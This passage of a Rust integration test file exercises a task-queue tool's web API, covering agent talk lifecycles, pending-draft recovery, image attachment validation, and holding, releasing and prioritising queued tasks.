5826 std::fs::create_dir_all(&repo).expect("repo dir");
5827 let root = tmp.path().join("root");
5828 make_checkout(&root, "github.com", "yukimemi", "magi");
5829 std::fs::write(
5830 repo.join("magi.toml"),
5831 format!(
5832 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5833 root.to_string_lossy().into_owned()
5834 ),
5835 )
5836 .expect("write magi.toml");
5837
5838 let f = Fixture::with_repo(repo).await;
5839 let first = f.get("/api/repos").await;
5840 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5841
5842 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5845 let second = f.get("/api/repos").await;
5846 assert_eq!(
5847 second.json().as_array().map(Vec::len),
5848 Some(1),
5849 "a fresh cache must not rescan inside the TTL"
5850 );
5851
5852 let refreshed = f.get("/api/repos?refresh=1").await;
5853 assert_eq!(
5854 refreshed.json().as_array().map(Vec::len),
5855 Some(2),
5856 "an explicit refresh must rescan even inside the TTL"
5857 );
5858 }
5859
5860 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5866
5867 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5871 let tmp = TempDir::new().expect("tempdir");
5872 let repo = tmp.path().join("repo");
5873 std::fs::create_dir_all(&repo).expect("repo dir");
5874 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5875 let f = Fixture::with_repo(repo.clone()).await;
5876 (tmp, repo, f)
5877 }
5878
5879 #[tokio::test]
5880 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5881 let (_tmp, _repo, f) = talk_fixture().await;
5882
5883 let opened = f.post("/api/talks", None).await;
5886 assert_eq!(opened.status, 201, "{}", opened.body);
5887 let body = opened.json();
5888 assert_eq!(body["status"], "open");
5889 assert_eq!(
5890 body["turns"].as_array().unwrap().len(),
5891 0,
5892 "opening takes no agent turn: there is nothing yet to answer"
5893 );
5894
5895 let also_opened = f.post("/api/talks", Some("{}")).await;
5897 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5898
5899 let listed = f.get("/api/talks").await.json();
5900 assert_eq!(listed.as_array().unwrap().len(), 2);
5901 }
5902
5903 #[tokio::test]
5904 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
5905 let f = Fixture::start().await;
5906 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
5907 let queue = f.queue();
5908 let mut mine = Task::new(
5909 "rename the loader".to_owned(),
5910 "rename the loader".to_owned(),
5911 PathBuf::from("/repo/magi"),
5912 Source::Agent {
5913 run: talk_id.clone(),
5914 node: "chat".to_owned(),
5915 },
5916 );
5917 queue.put(&mut mine).expect("file the task");
5918 let mut theirs = Task::new(
5919 "unrelated".to_owned(),
5920 "unrelated".to_owned(),
5921 PathBuf::from("/repo/magi"),
5922 Source::Human,
5923 );
5924 queue.put(&mut theirs).expect("file the task");
5925
5926 let res = f.get(&format!("/api/talks/{talk_id}")).await;
5927 assert_eq!(res.status, 200, "{}", res.body);
5928 let body = res.json();
5929 assert_eq!(
5930 body["status"], "open",
5931 "filing a task does not close a talk"
5932 );
5933 let tasks = body["tasks"].as_array().expect("tasks array");
5934 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
5935 assert_eq!(tasks[0]["id"], mine.id);
5936 }
5937
5938 #[tokio::test]
5939 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
5940 let (_tmp, _repo, f) = talk_fixture().await;
5941 let id = f.post("/api/talks", None).await.json()["id"]
5942 .as_str()
5943 .expect("id")
5944 .to_owned();
5945
5946 let res = f
5947 .post(
5948 &format!("/api/talks/{id}/say"),
5949 Some(r#"{"text":"what does the queue module do?"}"#),
5950 )
5951 .await;
5952 assert_eq!(res.status, 202, "{}", res.body);
5953 let queued = res.json();
5954 let turns = queued["turns"].as_array().expect("turns array");
5955 assert_eq!(
5956 turns.len(),
5957 1,
5958 "the answer reflects only what is on disk the instant it is sent, \
5959 before the agent's turn - which can run for the whole of \
5960 `[graph] timeout_talk` - has a chance to land: {queued}"
5961 );
5962 assert_eq!(turns[0]["who"], "operator");
5963 assert_eq!(turns[0]["body"], "what does the queue module do?");
5964 assert_eq!(
5965 queued["thinking"], true,
5966 "the accepted response exposes the background turn claim: {queued}"
5967 );
5968
5969 let mut turns_after = 1;
5970 for _ in 0..SETTLE_STEPS {
5971 let detail = f.get(&format!("/api/talks/{id}")).await.json();
5972 turns_after = detail["turns"].as_array().expect("turns array").len();
5973 if turns_after == 2 {
5974 break;
5975 }
5976 tokio::time::sleep(Duration::from_millis(10)).await;
5977 }
5978 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
5979 }
5980
5981 #[tokio::test]
6008 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6009 let tmp = TempDir::new().expect("tempdir");
6010 let repo = tmp.path().join("repo");
6011 std::fs::create_dir_all(&repo).expect("repo dir");
6012 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6013 let home = TempDir::new().expect("temp home");
6014 let talks = Talks::at(home.path().join("talks"));
6015 let ui = Arc::new(
6016 Ui::new(
6017 Queue::at(home.path().join("queue")),
6018 Questions::at(home.path().join("questions")),
6019 talks.clone(),
6020 home.path().join("runs"),
6021 home.path().to_path_buf(),
6022 repo.clone(),
6023 )
6024 .with_worktrees_root(home.path().join("wt")),
6025 );
6026 let cfg = config_for(&repo).await.expect("discover config");
6027
6028 for delay in 0..40u32 {
6029 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6030 let id = talk.id.clone();
6031
6032 let handler = tokio::spawn(talk_say(
6033 State(Arc::clone(&ui)),
6034 Path(id.clone()),
6035 Ok(Json(NewTalkTurn {
6036 text: "what does the queue module do?".to_owned(),
6037 attachments: Vec::new(),
6038 })),
6039 ));
6040 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6041 handler.abort();
6042 let _ = handler.await;
6045
6046 let mut turns = 0;
6047 for _ in 0..SETTLE_STEPS {
6048 if let Ok(fresh) = talks.get(&id) {
6049 turns = fresh.turns.len();
6050 if turns != 1 {
6051 break;
6052 }
6053 }
6054 tokio::time::sleep(Duration::from_millis(10)).await;
6055 }
6056 assert_ne!(
6057 turns, 1,
6058 "delay {delay}: talk {id} recorded the operator's turn but \
6059 the agent never answered - the reply task was never \
6060 started after the handler future was dropped"
6061 );
6062 }
6063 }
6064
6065 #[tokio::test]
6110 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6111 let tmp = TempDir::new().expect("tempdir");
6112 let repo = tmp.path().join("repo");
6113 std::fs::create_dir_all(&repo).expect("repo dir");
6114 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6115 let home = TempDir::new().expect("temp home");
6116 let talks = Talks::at(home.path().join("talks"));
6117 let ui = Arc::new(
6118 Ui::new(
6119 Queue::at(home.path().join("queue")),
6120 Questions::at(home.path().join("questions")),
6121 talks.clone(),
6122 home.path().join("runs"),
6123 home.path().to_path_buf(),
6124 repo.clone(),
6125 )
6126 .with_worktrees_root(home.path().join("wt")),
6127 );
6128 let cfg = config_for(&repo).await.expect("discover config");
6129
6130 for attempt in 0..3u32 {
6131 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6132 let id = talk.id.clone();
6133 let turn_guard = ui
6136 .begin_talk_turn(&id)
6137 .expect("claim the turn")
6138 .expect("a fresh talk owes nobody a turn");
6139
6140 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6141 let (release_tx, release_rx) = std::sync::mpsc::channel();
6142 ui.set_busy_queue_gate(BusyQueueGate {
6143 reached: reached_tx,
6144 release: release_rx,
6145 });
6146
6147 let handler = tokio::spawn(talk_say(
6148 State(Arc::clone(&ui)),
6149 Path(id.clone()),
6150 Ok(Json(NewTalkTurn {
6151 text: "what does the queue module do?".to_owned(),
6152 attachments: Vec::new(),
6153 })),
6154 ));
6155
6156 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6161 .await
6162 .unwrap_or_else(|_| {
6163 panic!(
6164 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6165 )
6166 })
6167 .expect("the busy branch dropped the gate without using it");
6168
6169 let running = talks.get(&id).expect("reload talk");
6176 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
6177
6178 handler.abort();
6182 let _ = handler.await;
6183
6184 let _ = release_tx.send(());
6190
6191 let mut fresh = talks.get(&id).expect("reload talk");
6194 for _ in 0..SETTLE_STEPS {
6195 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
6196 break;
6197 }
6198 tokio::time::sleep(Duration::from_millis(10)).await;
6199 fresh = talks.get(&id).expect("reload talk");
6200 }
6201 assert!(
6202 fresh.pending.is_empty() && fresh.turns.len() == 2,
6203 "attempt {attempt}: talk {id} left the operator's text queued \
6204 with no drainer - the reclaimed turn was dropped along with \
6205 the handler future (pending {:?}, {} turns)",
6206 fresh.pending,
6207 fresh.turns.len()
6208 );
6209 }
6210 }
6211
6212 #[tokio::test]
6213 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
6214 let (_tmp, _repo, f) = talk_fixture().await;
6215 let id = f.post("/api/talks", None).await.json()["id"]
6216 .as_str()
6217 .expect("id")
6218 .to_owned();
6219 let store = f.talks();
6220 let mut recovered = store.get(&id).expect("opened talk");
6221 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6222 .expect("persist pending draft without a live turn");
6223
6224 let edited = f
6225 .post(
6226 &format!("/api/talks/{id}/pending/edit"),
6227 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
6228 )
6229 .await;
6230 assert_eq!(edited.status, 200, "{}", edited.body);
6231 assert!(edited.json()["thinking"].as_bool().unwrap());
6232
6233 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
6234 for _ in 0..SETTLE_STEPS {
6235 if detail["turns"].as_array().expect("turns").len() == 2 {
6236 break;
6237 }
6238 tokio::time::sleep(Duration::from_millis(10)).await;
6239 detail = f.get(&format!("/api/talks/{id}")).await.json();
6240 }
6241 let turns = detail["turns"].as_array().expect("turns");
6242 assert_eq!(
6243 turns.len(),
6244 2,
6245 "the recovered draft must run once: {detail}"
6246 );
6247 assert_eq!(turns[0]["body"], "corrected");
6248 assert_eq!(detail["pending"], "");
6249 }
6250
6251 #[tokio::test]
6252 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
6253 let tmp = TempDir::new().expect("tempdir");
6254 let repo = tmp.path().join("repo");
6255 std::fs::create_dir_all(&repo).expect("repo dir");
6256 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6257 let f = Fixture::with_repo(repo).await;
6258 let id = f.post("/api/talks", None).await.json()["id"]
6259 .as_str()
6260 .expect("id")
6261 .to_owned();
6262 let store = f.talks();
6263 let mut recovered = store.get(&id).expect("opened talk");
6264 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
6265 .expect("persist pending draft without a live turn");
6266
6267 let refused = f
6268 .post(
6269 &format!("/api/talks/{id}/say"),
6270 Some(r#"{"text":"new message"}"#),
6271 )
6272 .await;
6273 assert_eq!(refused.status, 409, "{}", refused.body);
6274 assert!(refused.body.contains("resume"), "{}", refused.body);
6275 let saved = store.get(&id).expect("draft remains after refusal");
6276 assert!(saved.turns.is_empty());
6277 assert_eq!(saved.pending, "saved before restart");
6278
6279 let say_path = format!("/api/talks/{id}/say");
6280 let (first, second) = tokio::join!(
6281 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
6282 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
6283 );
6284 assert_eq!(first.status, 409, "{}", first.body);
6285 assert_eq!(second.status, 409, "{}", second.body);
6286 let saved = store
6287 .get(&id)
6288 .expect("draft remains after concurrent refusals");
6289 assert!(saved.turns.is_empty());
6290 assert_eq!(saved.pending, "saved before restart");
6291
6292 let resumed = f
6293 .post(&format!("/api/talks/{id}/pending/resume"), None)
6294 .await;
6295 assert_eq!(resumed.status, 202, "{}", resumed.body);
6296 let duplicate = f
6297 .post(&format!("/api/talks/{id}/pending/resume"), None)
6298 .await;
6299 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
6300
6301 for _ in 0..SETTLE_STEPS {
6302 if store.get(&id).expect("talk").turns.len() == 2 {
6303 break;
6304 }
6305 tokio::time::sleep(Duration::from_millis(10)).await;
6306 }
6307 let finished = store.get(&id).expect("finished talk");
6308 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6309 assert_eq!(finished.turns[0].body, "saved before restart");
6310 assert!(finished.pending.is_empty());
6311 }
6312
6313 #[tokio::test]
6314 async fn an_image_only_recovered_draft_resumes_without_text() {
6315 let (_tmp, _repo, f) = talk_fixture().await;
6316 let id = f.post("/api/talks", None).await.json()["id"]
6317 .as_str()
6318 .expect("id")
6319 .to_owned();
6320 let uploaded = f
6321 .post_bytes(
6322 &format!("/api/talks/{id}/attachments"),
6323 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
6324 PNG_BYTES,
6325 )
6326 .await;
6327 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6328 let attachment = f
6329 .talks()
6330 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
6331 .expect("attachment metadata")
6332 .expect("stored attachment");
6333 let store = f.talks();
6334 let mut recovered = store.get(&id).expect("opened talk");
6335 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
6336
6337 let resumed = f
6338 .post(&format!("/api/talks/{id}/pending/resume"), None)
6339 .await;
6340 assert_eq!(resumed.status, 202, "{}", resumed.body);
6341 for _ in 0..SETTLE_STEPS {
6342 if store.get(&id).expect("talk").turns.len() == 2 {
6343 break;
6344 }
6345 tokio::time::sleep(Duration::from_millis(10)).await;
6346 }
6347 let finished = store.get(&id).expect("finished talk");
6348 assert_eq!(finished.turns.len(), 2, "{finished:?}");
6349 assert!(finished.turns[0].body.is_empty());
6350 assert_eq!(finished.turns[0].attachments.len(), 1);
6351 assert!(finished.pending_attachments.is_empty());
6352 }
6353
6354 #[tokio::test]
6355 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
6356 let (_tmp, _repo, f) = talk_fixture().await;
6357 let id = f.post("/api/talks", None).await.json()["id"]
6358 .as_str()
6359 .expect("id")
6360 .to_owned();
6361 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6362 assert_eq!(closed.status, 200, "{}", closed.body);
6363 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6364 .expect("serialize closed talk");
6365 for (path, body) in [
6366 (format!("/api/talks/{id}/pending/resume"), None),
6367 (
6368 format!("/api/talks/{id}/pending/clear"),
6369 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
6370 ),
6371 (
6372 format!("/api/talks/{id}/pending/edit"),
6373 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
6374 ),
6375 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
6376 ] {
6377 let response = f.post(&path, body).await;
6378 assert_eq!(response.status, 409, "{}", response.body);
6379 }
6380 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
6381 .expect("serialize closed talk");
6382 assert_eq!(
6383 after_clear, before_clear,
6384 "clear must not rewrite a closed talk"
6385 );
6386 }
6387
6388 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
6391
6392 #[tokio::test]
6393 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
6394 let tmp = TempDir::new().expect("tempdir");
6395 let repo = tmp.path().join("repo");
6396 std::fs::create_dir_all(&repo).expect("repo dir");
6397 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
6398 let f = Fixture::with_repo(repo).await;
6399 let id_a = f.post("/api/talks", None).await.json()["id"]
6400 .as_str()
6401 .unwrap()
6402 .to_owned();
6403 let id_b = f.post("/api/talks", None).await.json()["id"]
6404 .as_str()
6405 .unwrap()
6406 .to_owned();
6407
6408 let a = f
6409 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
6410 .await;
6411 assert_eq!(a.status, 202, "{}", a.body);
6412 assert_eq!(a.json()["thinking"], true);
6413 let b = f
6414 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
6415 .await;
6416 assert_eq!(b.status, 202, "{}", b.body);
6417 assert_eq!(b.json()["thinking"], true);
6418
6419 let listed = f.get("/api/talks").await.json();
6420 for id in [&id_a, &id_b] {
6421 let view = listed
6422 .as_array()
6423 .unwrap()
6424 .iter()
6425 .find(|talk| talk["id"] == *id)
6426 .unwrap();
6427 assert_eq!(view["thinking"], true, "{listed}");
6428 }
6429 let repeated = f
6430 .post(
6431 &format!("/api/talks/{id_a}/say"),
6432 Some(r#"{"text":"again"}"#),
6433 )
6434 .await;
6435 assert_eq!(repeated.status, 202, "{}", repeated.body);
6436 assert_eq!(repeated.json()["pending"], "again");
6437 }
6438
6439 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
6442
6443 #[tokio::test]
6444 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
6445 let f = Fixture::start().await;
6446 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
6447
6448 let res = f
6449 .post_bytes(
6450 &format!("/api/talks/{id}/attachments"),
6451 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6452 PNG_BYTES,
6453 )
6454 .await;
6455 assert_eq!(res.status, 201, "{}", res.body);
6456 let body = res.json();
6457 assert_eq!(body["name"], "shot.png");
6458 assert_eq!(body["mime"], "image/png");
6459 assert_eq!(body["bytes"], PNG_BYTES.len());
6460 let att_id = body["id"].as_str().expect("id").to_owned();
6461 assert_eq!(
6462 att_id.len(),
6463 32,
6464 "the id must never be a client-suppliable path: {att_id}"
6465 );
6466
6467 let got = f
6468 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
6469 .await;
6470 assert_eq!(got.status, 200, "{}", got.body);
6471 assert_eq!(got.header("content-type"), Some("image/png"));
6472 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
6473 assert_eq!(got.bytes, PNG_BYTES);
6474 }
6475
6476 #[tokio::test]
6477 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
6478 let f = Fixture::start().await;
6479 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
6480
6481 let svg = f
6484 .post_bytes(
6485 &format!("/api/talks/{id}/attachments"),
6486 &[("Content-Type", "image/svg+xml")],
6487 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
6488 )
6489 .await;
6490 assert!(
6491 (400..500).contains(&svg.status),
6492 "svg must be refused: {} {}",
6493 svg.status,
6494 svg.body
6495 );
6496 assert!(svg.body.contains("SVG"), "{}", svg.body);
6497
6498 let text = f
6499 .post_bytes(
6500 &format!("/api/talks/{id}/attachments"),
6501 &[("Content-Type", "text/plain")],
6502 b"just some text",
6503 )
6504 .await;
6505 assert!(
6506 (400..500).contains(&text.status),
6507 "an unlisted type must be refused: {} {}",
6508 text.status,
6509 text.body
6510 );
6511
6512 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
6515 let big = f
6516 .post_bytes(
6517 &format!("/api/talks/{id}/attachments"),
6518 &[("Content-Type", "image/png")],
6519 &oversized,
6520 )
6521 .await;
6522 assert_eq!(
6523 big.status,
6524 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
6525 "{}",
6526 big.body
6527 );
6528 }
6529
6530 #[tokio::test]
6531 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
6532 let f = Fixture::start().await;
6533 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
6534
6535 let res = f
6538 .post_bytes(
6539 &format!("/api/talks/{id}/attachments"),
6540 &[("Content-Type", "image/png")],
6541 b"<html>not a picture</html>",
6542 )
6543 .await;
6544 assert!((400..500).contains(&res.status), "{}", res.body);
6545 }
6546
6547 #[tokio::test]
6548 async fn an_unknown_attachment_id_is_a_404() {
6549 let f = Fixture::start().await;
6550 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
6551
6552 let res = f
6553 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
6554 .await;
6555 assert_eq!(res.status, 404, "{}", res.body);
6556 }
6557
6558 #[tokio::test]
6559 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
6560 let f = Fixture::start().await;
6561 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
6562
6563 let uploaded = f
6564 .post_bytes(
6565 &format!("/api/talks/{id}/attachments"),
6566 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
6567 PNG_BYTES,
6568 )
6569 .await;
6570 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
6571 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
6572
6573 let res = f
6574 .post(
6575 &format!("/api/talks/{id}/say"),
6576 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
6577 )
6578 .await;
6579 assert_eq!(res.status, 202, "{}", res.body);
6580 let queued = res.json();
6581 let turns = queued["turns"].as_array().expect("turns array");
6582 assert_eq!(
6583 turns.len(),
6584 1,
6585 "an empty body with an attachment is still a turn: {queued}"
6586 );
6587 assert_eq!(turns[0]["who"], "operator");
6588 assert_eq!(turns[0]["body"], "");
6589 let atts = turns[0]["attachments"]
6590 .as_array()
6591 .expect("attachments array");
6592 assert_eq!(atts.len(), 1);
6593 assert_eq!(atts[0]["id"], att_id);
6594 assert_eq!(atts[0]["mime"], "image/png");
6595
6596 let on_disk = f.talks().get(&id).expect("get");
6599 assert_eq!(on_disk.turns[0].attachments.len(), 1);
6600 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
6601 }
6602
6603 #[tokio::test]
6604 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
6605 let f = Fixture::start().await;
6606 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
6607
6608 let res = f
6609 .post(
6610 &format!("/api/talks/{id}/say"),
6611 Some(&format!(
6612 r#"{{"text":"hi","attachments":["{}"]}}"#,
6613 "a".repeat(32)
6614 )),
6615 )
6616 .await;
6617 assert!((400..500).contains(&res.status), "{}", res.body);
6618 assert!(res.body.contains("unknown attachment"), "{}", res.body);
6619
6620 let on_disk = f.talks().get(&id).expect("get");
6621 assert!(
6622 on_disk.turns.is_empty(),
6623 "a rejected attachment id must not partially record the turn: {:?}",
6624 on_disk.turns
6625 );
6626 }
6627
6628 #[tokio::test]
6629 async fn talk_close_makes_the_talk_refuse_further_turns() {
6630 let f = Fixture::start().await;
6631 let id = seed_talk(&f, "20260904-014455-cd34", "open");
6632
6633 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6634 assert_eq!(closed.status, 200, "{}", closed.body);
6635 assert_eq!(closed.json()["status"], "closed");
6636
6637 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
6639 assert_eq!(closed_again.status, 200);
6640 assert_eq!(closed_again.json()["status"], "closed");
6641
6642 let said = f
6643 .post(
6644 &format!("/api/talks/{id}/say"),
6645 Some(r#"{"text":"too late"}"#),
6646 )
6647 .await;
6648 assert_eq!(said.status, 409, "{}", said.body);
6649 }
6650
6651 #[tokio::test]
6652 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
6653 let (_tmp, _repo, f) = talk_fixture().await;
6654 let id = f.post("/api/talks", None).await.json()["id"]
6655 .as_str()
6656 .expect("id")
6657 .to_owned();
6658 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
6659 assert_eq!(closed.status, 200, "{}", closed.body);
6660
6661 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6662 assert_eq!(reopened.status, 200, "{}", reopened.body);
6663 assert_eq!(reopened.json()["status"], "open");
6664
6665 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
6667 assert_eq!(reopened_again.status, 200);
6668 assert_eq!(reopened_again.json()["status"], "open");
6669
6670 let said = f
6671 .post(
6672 &format!("/api/talks/{id}/say"),
6673 Some(r#"{"text":"still there?"}"#),
6674 )
6675 .await;
6676 assert_eq!(
6677 said.status, 202,
6678 "a reopened talk accepts turns again: {}",
6679 said.body
6680 );
6681 }
6682
6683 #[tokio::test]
6684 async fn talk_reopen_on_an_unknown_id_is_404() {
6685 let f = Fixture::start().await;
6686 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
6687 assert_eq!(res.status, 404, "{}", res.body);
6688 }
6689
6690 #[tokio::test]
6691 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
6692 let f = Fixture::start().await;
6693 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
6694
6695 let deleted = f.delete(&format!("/api/talks/{id}")).await;
6696 assert_eq!(deleted.status, 204, "{}", deleted.body);
6697
6698 let after = f.get(&format!("/api/talks/{id}")).await;
6699 assert_eq!(after.status, 404, "{}", after.body);
6700
6701 let listed = f.get("/api/talks").await.json();
6702 assert!(
6703 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
6704 "a deleted talk must not linger in the list: {listed}"
6705 );
6706 }
6707
6708 #[tokio::test]
6709 async fn talk_delete_on_an_unknown_id_is_404() {
6710 let f = Fixture::start().await;
6711 let res = f.delete("/api/talks/nonexistent-id").await;
6712 assert_eq!(res.status, 404, "{}", res.body);
6713 }
6714
6715 #[tokio::test]
6716 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
6717 let f = Fixture::start().await;
6718 let queue = f.queue();
6719 let mut task = Task::new(
6720 "spent".to_owned(),
6721 "Try again".to_owned(),
6722 PathBuf::from("/repo/magi"),
6723 Source::Human,
6724 );
6725 task.start("20260902-140502-bbbb".to_owned());
6726 task.fail("agent gave up", 9);
6727 queue.put(&mut task).expect("file the task");
6728
6729 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6730 assert_eq!(held.status, 200);
6731 assert_eq!(held.json()["status_str"], "held");
6732
6733 let released = f
6734 .post(&format!("/api/queue/{}/release", task.id), None)
6735 .await;
6736 assert_eq!(released.status, 200);
6737 assert_eq!(released.json()["status_str"], "queued");
6738 assert_eq!(
6739 released.json()["attempts"],
6740 0,
6741 "release is a real second chance, not an instant re-hold"
6742 );
6743 assert_eq!(
6744 queue.get(&task.id).expect("reload").status,
6745 TaskStatus::Queued,
6746 "the change is on disk, not only in the reply"
6747 );
6748 assert!(
6749 !f.home
6750 .path()
6751 .join("queue")
6752 .join(format!("{}.lock", task.id))
6753 .exists(),
6754 "the claim the mutation took is released again"
6755 );
6756 }
6757
6758 #[tokio::test]
6759 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
6760 let f = Fixture::start().await;
6761 let queue = f.queue();
6762 let mut task = Task::new(
6763 "busy".to_owned(),
6764 "Running right now".to_owned(),
6765 PathBuf::from("/repo/magi"),
6766 Source::Human,
6767 );
6768 queue.put(&mut task).expect("file the task");
6769 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
6770
6771 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
6772
6773 assert_eq!(res.status, 409);
6774 assert_eq!(
6775 queue.get(&task.id).expect("reload").status,
6776 TaskStatus::Queued,
6777 "the refused hold changed nothing"
6778 );
6779 }
6780
6781 #[tokio::test]
6782 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
6783 let f = Fixture::start().await;
6784 let queue = f.queue();
6785 let mut task = Task::new(
6786 "waiting on the migration".to_owned(),
6787 "Do the thing".to_owned(),
6788 PathBuf::from("/repo/magi"),
6789 Source::Human,
6790 );
6791 queue.put(&mut task).expect("file the task");
6792
6793 let held = f
6794 .post(
6795 &format!("/api/queue/{}/hold", task.id),
6796 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
6797 )
6798 .await;
6799 assert_eq!(held.status, 200, "{}", held.body);
6800 assert_eq!(held.json()["status_str"], "held");
6801 assert_eq!(
6802 held.json()["hold_reason"],
6803 "waiting for 20260101-000000-aaaa to land"
6804 );
6805
6806 let listed = f.get("/api/queue").await.json();
6807 assert_eq!(
6808 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
6809 "the card reads the reason off the same list route"
6810 );
6811
6812 let mut plain = Task::new(
6815 "no reason given".to_owned(),
6816 "Do another thing".to_owned(),
6817 PathBuf::from("/repo/magi"),
6818 Source::Human,
6819 );
6820 queue.put(&mut plain).expect("file the task");
6821 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
6822 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
6823 assert!(held_plain.json()["hold_reason"].is_null());
6824
6825 let released = f
6826 .post(&format!("/api/queue/{}/release", task.id), None)
6827 .await;
6828 assert_eq!(released.status, 200);
6829 assert!(
6830 released.json()["hold_reason"].is_null(),
6831 "a release must clear the reason so the next hold does not inherit it"
6832 );
6833 }
6834
6835 #[tokio::test]
6836 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
6837 let f = Fixture::start().await;
6838 let queue = f.queue();
6839 let mut older = Task::new(
6840 "filed first".to_owned(),
6841 "x".to_owned(),
6842 PathBuf::from("/repo/magi"),
6843 Source::Human,
6844 );
6845 older.id = "20260101-000001-aaaa".to_owned();
6846 let mut newer = Task::new(
6847 "filed second".to_owned(),
6848 "x".to_owned(),
